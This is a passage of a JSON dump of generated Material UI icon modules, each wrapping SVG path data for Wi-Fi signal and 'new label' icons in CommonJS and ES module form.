    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4C7.31 4 3.07 5.9 0 8.98L12 21 24 8.98C20.93 5.9 16.69 4 12 4m4.78 9.38C15.4 12.5 13.76 12 12 12s-3.4.5-4.78 1.38l-4.3-4.3C5.51 7.08 8.67 6 12 6s6.49 1.08 9.08 3.07z\"\n}), 'NetworkWifi2BarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NetworkWifi2BarRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4C7.7 4 3.78 5.6.79 8.24.35 8.63.32 9.3.73 9.71l10.56 10.58c.39.39 1.02.39 1.42 0L23.27 9.71c.41-.41.38-1.08-.06-1.47C20.22 5.6 16.3 4 12 4m4.78 9.38C15.4 12.5 13.76 12 12 12s-3.4.5-4.78 1.38l-4.3-4.3C5.51 7.08 8.67 6 12 6s6.49 1.08 9.08 3.07z\"\n}), 'NetworkWifi2BarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NetworkWifi2BarRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4C7.7 4 3.78 5.6.79 8.24.35 8.63.32 9.3.73 9.71l10.56 10.58c.39.39 1.02.39 1.42 0L23.27 9.71c.41-.41.38-1.08-.06-1.47C20.22 5.6 16.3 4 12 4m4.78 9.38C15.4 12.5 13.76 12 12 12s-3.4.5-4.78 1.38l-4.3-4.3C5.51 7.08 8.67 6 12 6s6.49 1.08 9.08 3.07z\"\n}), 'NetworkWifi2BarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NetworkWifi2BarSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4C7.31 4 3.07 5.9 0 8.98L12 21 24 8.98C20.93 5.9 16.69 4 12 4m4.78 9.38C15.4 12.5 13.76 12 12 12s-3.4.5-4.78 1.38l-4.3-4.3C5.51 7.08 8.67 6 12 6s6.49 1.08 9.08 3.07z\"\n}), 'NetworkWifi2BarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NetworkWifi2BarSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4C7.31 4 3.07 5.9 0 8.98L12 21 24 8.98C20.93 5.9 16.69 4 12 4m4.78 9.38C15.4 12.5 13.76 12 12 12s-3.4.5-4.78 1.38l-4.3-4.3C5.51 7.08 8.67 6 12 6s6.49 1.08 9.08 3.07z\"\n}), 'NetworkWifi2BarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NetworkWifi2BarTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.78 13.38C15.4 12.5 13.76 12 12 12s-3.4.5-4.78 1.38l-4.3-4.3C5.51 7.08 8.67 6 12 6s6.49 1.08 9.08 3.07z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4C7.31 4 3.07 5.9 0 8.98L12 21 24 8.98C20.93 5.9 16.69 4 12 4m4.78 9.38C15.4 12.5 13.76 12 12 12s-3.4.5-4.78 1.38l-4.3-4.3C5.51 7.08 8.67 6 12 6s6.49 1.08 9.08 3.07z\"\n}, \"1\")], 'NetworkWifi2BarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NetworkWifi2BarTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.78 13.38C15.4 12.5 13.76 12 12 12s-3.4.5-4.78 1.38l-4.3-4.3C5.51 7.08 8.67 6 12 6s6.49 1.08 9.08 3.07z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4C7.31 4 3.07 5.9 0 8.98L12 21 24 8.98C20.93 5.9 16.69 4 12 4m4.78 9.38C15.4 12.5 13.76 12 12 12s-3.4.5-4.78 1.38l-4.3-4.3C5.51 7.08 8.67 6 12 6s6.49 1.08 9.08 3.07z\"\n}, \"1\")], 'NetworkWifi2BarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NetworkWifi3Bar.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4C7.31 4 3.07 5.9 0 8.98L12 21 24 8.98C20.93 5.9 16.69 4 12 4M2.92 9.07C5.51 7.08 8.67 6 12 6s6.49 1.08 9.08 3.07l-2.85 2.86C16.46 10.71 14.31 10 12 10s-4.46.71-6.23 1.93z\"\n}), 'NetworkWifi3Bar');"
  },
  {
    "path": "packages/mui-icons-material/lib/NetworkWifi3Bar.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4C7.31 4 3.07 5.9 0 8.98L12 21 24 8.98C20.93 5.9 16.69 4 12 4M2.92 9.07C5.51 7.08 8.67 6 12 6s6.49 1.08 9.08 3.07l-2.85 2.86C16.46 10.71 14.31 10 12 10s-4.46.71-6.23 1.93z\"\n}), 'NetworkWifi3Bar');"
  },
  {
    "path": "packages/mui-icons-material/lib/NetworkWifi3BarOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4C7.31 4 3.07 5.9 0 8.98L12 21 24 8.98C20.93 5.9 16.69 4 12 4M2.92 9.07C5.51 7.08 8.67 6 12 6s6.49 1.08 9.08 3.07l-2.85 2.86C16.46 10.71 14.31 10 12 10s-4.46.71-6.23 1.93z\"\n}), 'NetworkWifi3BarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NetworkWifi3BarOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4C7.31 4 3.07 5.9 0 8.98L12 21 24 8.98C20.93 5.9 16.69 4 12 4M2.92 9.07C5.51 7.08 8.67 6 12 6s6.49 1.08 9.08 3.07l-2.85 2.86C16.46 10.71 14.31 10 12 10s-4.46.71-6.23 1.93z\"\n}), 'NetworkWifi3BarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NetworkWifi3BarRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4C7.7 4 3.78 5.6.79 8.24.35 8.63.32 9.3.73 9.71l10.56 10.58c.39.39 1.02.39 1.42 0L23.27 9.71c.41-.41.38-1.08-.06-1.47C20.22 5.6 16.3 4 12 4M2.92 9.07C5.51 7.08 8.67 6 12 6s6.49 1.08 9.08 3.07l-2.85 2.86C16.46 10.71 14.31 10 12 10s-4.46.71-6.23 1.93z\"\n}), 'NetworkWifi3BarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NetworkWifi3BarRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4C7.7 4 3.78 5.6.79 8.24.35 8.63.32 9.3.73 9.71l10.56 10.58c.39.39 1.02.39 1.42 0L23.27 9.71c.41-.41.38-1.08-.06-1.47C20.22 5.6 16.3 4 12 4M2.92 9.07C5.51 7.08 8.67 6 12 6s6.49 1.08 9.08 3.07l-2.85 2.86C16.46 10.71 14.31 10 12 10s-4.46.71-6.23 1.93z\"\n}), 'NetworkWifi3BarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NetworkWifi3BarSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4C7.31 4 3.07 5.9 0 8.98L12 21 24 8.98C20.93 5.9 16.69 4 12 4M2.92 9.07C5.51 7.08 8.67 6 12 6s6.49 1.08 9.08 3.07l-2.85 2.86C16.46 10.71 14.31 10 12 10s-4.46.71-6.23 1.93z\"\n}), 'NetworkWifi3BarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NetworkWifi3BarSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4C7.31 4 3.07 5.9 0 8.98L12 21 24 8.98C20.93 5.9 16.69 4 12 4M2.92 9.07C5.51 7.08 8.67 6 12 6s6.49 1.08 9.08 3.07l-2.85 2.86C16.46 10.71 14.31 10 12 10s-4.46.71-6.23 1.93z\"\n}), 'NetworkWifi3BarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NetworkWifi3BarTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.92 9.07C5.51 7.08 8.67 6 12 6s6.49 1.08 9.08 3.07l-2.85 2.86C16.46 10.71 14.31 10 12 10s-4.46.71-6.23 1.93z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4C7.31 4 3.07 5.9 0 8.98L12 21 24 8.98C20.93 5.9 16.69 4 12 4M2.92 9.07C5.51 7.08 8.67 6 12 6s6.49 1.08 9.08 3.07l-2.85 2.86C16.46 10.71 14.31 10 12 10s-4.46.71-6.23 1.93z\"\n}, \"1\")], 'NetworkWifi3BarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NetworkWifi3BarTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.92 9.07C5.51 7.08 8.67 6 12 6s6.49 1.08 9.08 3.07l-2.85 2.86C16.46 10.71 14.31 10 12 10s-4.46.71-6.23 1.93z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4C7.31 4 3.07 5.9 0 8.98L12 21 24 8.98C20.93 5.9 16.69 4 12 4M2.92 9.07C5.51 7.08 8.67 6 12 6s6.49 1.08 9.08 3.07l-2.85 2.86C16.46 10.71 14.31 10 12 10s-4.46.71-6.23 1.93z\"\n}, \"1\")], 'NetworkWifi3BarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NetworkWifiOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4C7.31 4 3.07 5.9 0 8.98L12 21 24 8.98C20.93 5.9 16.69 4 12 4m0 4c-2.86 0-5.5.94-7.65 2.51L2.92 9.07C5.51 7.08 8.67 6 12 6s6.49 1.08 9.08 3.07l-1.43 1.43C17.5 8.94 14.86 8 12 8\"\n}), 'NetworkWifiOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NetworkWifiOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4C7.31 4 3.07 5.9 0 8.98L12 21 24 8.98C20.93 5.9 16.69 4 12 4m0 4c-2.86 0-5.5.94-7.65 2.51L2.92 9.07C5.51 7.08 8.67 6 12 6s6.49 1.08 9.08 3.07l-1.43 1.43C17.5 8.94 14.86 8 12 8\"\n}), 'NetworkWifiOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NetworkWifiRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4C7.7 4 3.78 5.6.79 8.24.35 8.63.32 9.3.73 9.71l10.56 10.58c.39.39 1.02.39 1.42 0L23.27 9.71c.41-.41.38-1.08-.06-1.47C20.22 5.6 16.3 4 12 4m0 4c-2.86 0-5.5.94-7.65 2.51L2.92 9.07C5.51 7.08 8.67 6 12 6s6.49 1.08 9.08 3.07l-1.43 1.43C17.5 8.94 14.86 8 12 8\"\n}), 'NetworkWifiRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NetworkWifiRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4C7.7 4 3.78 5.6.79 8.24.35 8.63.32 9.3.73 9.71l10.56 10.58c.39.39 1.02.39 1.42 0L23.27 9.71c.41-.41.38-1.08-.06-1.47C20.22 5.6 16.3 4 12 4m0 4c-2.86 0-5.5.94-7.65 2.51L2.92 9.07C5.51 7.08 8.67 6 12 6s6.49 1.08 9.08 3.07l-1.43 1.43C17.5 8.94 14.86 8 12 8\"\n}), 'NetworkWifiRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NetworkWifiSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4C7.31 4 3.07 5.9 0 8.98L12 21 24 8.98C20.93 5.9 16.69 4 12 4m0 4c-2.86 0-5.5.94-7.65 2.51L2.92 9.07C5.51 7.08 8.67 6 12 6s6.49 1.08 9.08 3.07l-1.43 1.43C17.5 8.94 14.86 8 12 8\"\n}), 'NetworkWifiSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NetworkWifiSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4C7.31 4 3.07 5.9 0 8.98L12 21 24 8.98C20.93 5.9 16.69 4 12 4m0 4c-2.86 0-5.5.94-7.65 2.51L2.92 9.07C5.51 7.08 8.67 6 12 6s6.49 1.08 9.08 3.07l-1.43 1.43C17.5 8.94 14.86 8 12 8\"\n}), 'NetworkWifiSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NetworkWifiTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4C7.31 4 3.07 5.9 0 8.98L12 21 24 8.98C20.93 5.9 16.69 4 12 4m0 4c-2.86 0-5.5.94-7.65 2.51L2.92 9.07C5.51 7.08 8.67 6 12 6s6.49 1.08 9.08 3.07l-1.43 1.43C17.5 8.94 14.86 8 12 8\"\n}), 'NetworkWifiTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NetworkWifiTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4C7.31 4 3.07 5.9 0 8.98L12 21 24 8.98C20.93 5.9 16.69 4 12 4m0 4c-2.86 0-5.5.94-7.65 2.51L2.92 9.07C5.51 7.08 8.67 6 12 6s6.49 1.08 9.08 3.07l-1.43 1.43C17.5 8.94 14.86 8 12 8\"\n}), 'NetworkWifiTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NewLabel.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21 12-4.37 6.16c-.37.52-.98.84-1.63.84h-3v-6H9v-3H3V7c0-1.1.9-2 2-2h10c.65 0 1.26.31 1.63.84zm-11 3H7v-3H5v3H2v2h3v3h2v-3h3z\"\n}), 'NewLabel');"
  },
  {
    "path": "packages/mui-icons-material/lib/NewLabel.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21 12-4.37 6.16c-.37.52-.98.84-1.63.84h-3v-6H9v-3H3V7c0-1.1.9-2 2-2h10c.65 0 1.26.31 1.63.84zm-11 3H7v-3H5v3H2v2h3v3h2v-3h3z\"\n}), 'NewLabel');"
  },
  {
    "path": "packages/mui-icons-material/lib/NewLabelOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21 12-4.37 6.16c-.37.52-.98.84-1.63.84h-3v-2h3l3.55-5L15 7H5v3H3V7c0-1.1.9-2 2-2h10c.65 0 1.26.31 1.63.84zm-11 3H7v-3H5v3H2v2h3v3h2v-3h3z\"\n}), 'NewLabelOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NewLabelOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21 12-4.37 6.16c-.37.52-.98.84-1.63.84h-3v-2h3l3.55-5L15 7H5v3H3V7c0-1.1.9-2 2-2h10c.65 0 1.26.31 1.63.84zm-11 3H7v-3H5v3H2v2h3v3h2v-3h3z\"\n}), 'NewLabelOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NewLabelRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.18 13.16-3.55 5c-.38.53-.98.84-1.63.84h-3v-3c0-1.66-1.34-3-3-3 0-1.66-1.34-3-3-3H3V7c0-1.1.9-2 2-2h10c.65 0 1.26.31 1.63.84l3.55 5c.49.7.49 1.62 0 2.32M10 16c0-.55-.45-1-1-1H7v-2c0-.55-.45-1-1-1s-1 .45-1 1v2H3c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1v-2h2c.55 0 1-.45 1-1\"\n}), 'NewLabelRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NewLabelRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.18 13.16-3.55 5c-.38.53-.98.84-1.63.84h-3v-3c0-1.66-1.34-3-3-3 0-1.66-1.34-3-3-3H3V7c0-1.1.9-2 2-2h10c.65 0 1.26.31 1.63.84l3.55 5c.49.7.49 1.62 0 2.32M10 16c0-.55-.45-1-1-1H7v-2c0-.55-.45-1-1-1s-1 .45-1 1v2H3c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1v-2h2c.55 0 1-.45 1-1\"\n}), 'NewLabelRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NewLabelSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21 12-4.97 7H12v-6H9v-3H3V5h13.03zm-11 3H7v-3H5v3H2v2h3v3h2v-3h3z\"\n}), 'NewLabelSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NewLabelSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21 12-4.97 7H12v-6H9v-3H3V5h13.03zm-11 3H7v-3H5v3H2v2h3v3h2v-3h3z\"\n}), 'NewLabelSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NewLabelTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 17v-4H9v-3H5V7h10l3.55 5L15 17z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21 12-4.37 6.16c-.37.52-.98.84-1.63.84h-3v-2h3l3.55-5L15 7H5v3H3V7c0-1.1.9-2 2-2h10c.65 0 1.26.31 1.63.84zm-11 3H7v-3H5v3H2v2h3v3h2v-3h3z\"\n}, \"1\")], 'NewLabelTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NewLabelTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 17v-4H9v-3H5V7h10l3.55 5L15 17z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m21 12-4.37 6.16c-.37.52-.98.84-1.63.84h-3v-2h3l3.55-5L15 7H5v3H3V7c0-1.1.9-2 2-2h10c.65 0 1.26.31 1.63.84zm-11 3H7v-3H5v3H2v2h3v3h2v-3h3z\"\n}, \"1\")], 'NewLabelTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NewReleases.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m23 12-2.44-2.78.34-3.68-3.61-.82-1.89-3.18L12 3 8.6 1.54 6.71 4.72l-3.61.81.34 3.68L1 12l2.44 2.78-.34 3.69 3.61.82 1.89 3.18L12 21l3.4 1.46 1.89-3.18 3.61-.82-.34-3.68zm-10 5h-2v-2h2zm0-4h-2V7h2z\"\n}), 'NewReleases');"
  },
  {
    "path": "packages/mui-icons-material/lib/NewReleases.mjs",
